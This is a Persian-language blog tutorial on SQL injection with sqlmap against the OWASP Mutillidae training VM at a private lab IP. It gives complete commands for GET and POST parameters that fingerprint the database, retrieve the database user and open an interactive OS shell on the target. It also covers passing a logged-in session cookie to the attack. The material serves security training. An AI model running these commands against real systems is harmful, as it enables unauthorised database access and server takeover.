تزریق اسکیوال با ابزار SQLmap

منتشر شده در دسته : راهکارهای هکر

به منظور انجام حملات تزریق اسکیوال شما ابزارهای مختلفی در پیش رو دارید . یکی از رایج ترین ابزار های تزریق اسکیوال  ابزار sqlmap  می باشد که در اینجا موضوع گفتگو ماست .

ابزار sqlmap

در مثال‌های زیر نحوه کار با ابزار sqlmap  از طریق خط فرمان برای پارامترهای POST و GET را نشان خواهیم داد . چرا که این دو پارامتر رایج ترین و معروف ترین نوع پارامترهای SQLi هستند . دلیل اینکه من هر دو متد حمله HTTP را به شما نشان می‌دهم این است که اگر درخواست را به درستی پیکربندی نکنید ممکن است با شکست مواجه شوید .
خوب ابتدا مطمئن شوید که آدرس آیپی سیستم OWASP قابل دسترسی است تا بتوانیم تست های خود را بر روی آن انجام دهیم .

ابزار SQLmap کالی لینوکس
خط فرمان کالی را باز کرده و به منظور مشاهده فایل‌های کمکی ابزار sqlmap  این دستور را به همراه سوییچ h- وارد کنید . در اینجا توضیح کاملی از انواع سوییچ ها را مشاهده می‌کنیم .

ابزار SQLmap کالی لینوکس

مثال پارامتر GET

در این مثال‌ها ما فرض می‌کنیم که پارامتر GET جایی است که آسیب‌پذیری SQLi به همراه URL قرار گرفته است . ما می‌خواهیم که هر پارامتر را تست کنیم و مطمئن شویم که آسیب‌پذیری SQLi واقعاً وجود دارد . اسکنرها همیشه عمل‌کرد درستی ندارند پس بایستی مطمئن شویم و تنها راه برای کسب اطمینان از صحت یافته ها اعتبارسنجی است . به یاد داشته باشید که اگر یک مقدار به test اختصاص ندهید ، SQLmap به صورت پیش‌فرض همه پارامترها را تست خواهد کرد .
شروع کار :
ابتدا به محل نصب ابزار sqlmap رفته و سپس تست را به صورت زیر انجام دهیم :

cd /opt/sqlmap

  • این اسکریپت موجب حمله به ماشین مجازی OWASP به آدرس آیپی 192.168.1.4 با نام کاربری asdf و رمزعبور sdf می‌شود .

python ./sqlmap.py -u “http://192.168.1.4/mutillidae/index.php?page=user-info.php&username=asdf&password=sdf&user-info-php-submit-button=View+Account+Details”

ابزار SQLmap کالی لینوکس

ابزار SQLmap کالی لینوکس

  • بازیابی نام کاربری پایگاه داده‌

python ./sqlmap.py -u “http://192.168.1.4/mutillidae/index.php?page=user-info.php?user=test&pass=test” –current-user

ابزار SQLmap کالی لینوکس

  • بدست آوردن یک شل تعاملی

python ./sqlmap.py -u “http://192.168.1.4/mutillidae/index.php?page=user-info.php?user=test&pass=test” –os-shell

ابزار SQLmap کالی لینوکس

برخی نکات و ترفندها

شما ممکن است نیاز داشته باشید تا نوع پایگاه داده را برای حمله تعریف کنید . اگر فکر می‌کنید که تزریق امکان‌پذیر است ولی SQLmap باگ را پیدا نمی‌کند ، سعی کنید که با استفاده از سوییچ زیر نوع پایگاه داده را تعیین کنید :

–dbms=[نوع پایگاه داده]

اگر نیاز هست تا یک یافته SQL injection را بکاربگیرید که نیاز به تشخیص هویت دارد ، به وبسایت مورد نظر از طریق مرورگر لاگین کنید و کوکی ایجاد شده را کپی کنید سپس با استفاده از سوییچ زیر کوکی را در حمله خود اضافه کنید :

–cookie=[کوکی شما]

اگر گیر کردی سعی کنید از سوییچ wizard– استفاده کنید .

مثال پارامتر POST

مثال‌های پارامتر POST شبیه تزریق های GET می‌باشد ، به جز اینکه پارامترهای POST درون بخش data قرار می‌گیرند . این معمولاً در username و password دیده می‌شود چرا که وب سرورها معمولاً پارامترهای GET را لاگ کرده و شما نمی‌خواهید وب سرور پسوردها را لاگ کند و همچنین متد GET دارای محدودیت اندازه می‌باشد در نتیجه داده‌های زیادی از طریق پارامترهای POST برای اپلیکیشن های بزرگ‌تر ارسال می‌شود .

Python ./sqlmap.py -u “http://192.168.1.4/mutillidae/index.php?page=login.php” –data=”username=asdf&password=asdf&login-php-submit-button=Login” -b

ابزار SQLmap کالی لینوکس

  • بازیابی نام کاربری پایگاه داده :

Python ./sqlmap.py -u “http://192.168.1.4/mutillidae/index.php?page=login.php” –data=”user=test&pass=test” –current-user

ابزار SQLmap کالی لینوکس

بدست آوردن یک شل تعاملی :

Python ./sqlmap.py -u “http://192.168.1.4/mutillidae/index.php?page=login.php” –data=”user=test&pass=test” –os-shell

ابزار SQLmap کالی لینوکس

اگر که پس از انجام این دستورات شما به شل تعاملی دسترسی پیدا کنید اکنون دسترسی کامل به کاربر پایگاه داده را دارید . صرف انجام این مثال‌ها شما نمی‌توانید در زمینه تزریق اسکیوال خبره شوید . گام بعدی بر عهده شماست . توصیه می‌شود زمان بیشتری را صرف کنید دستورات SQLi مختلف را اجرا کنید . سوییچ های مختلف را تست کنید و فایل‌های کمکی را بخوانید . اگر که SQLmap با شکست مواجه شد شاید پیکربندی شما اشتباه است پس مطمئن شوید که از نصب Wizard استفاده کنید .

خوشحال می شویم دیدگاههای خود را در میان بگذارید * فرصت پاسخگویی به سوالات در بلاگ وجود ندارد

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *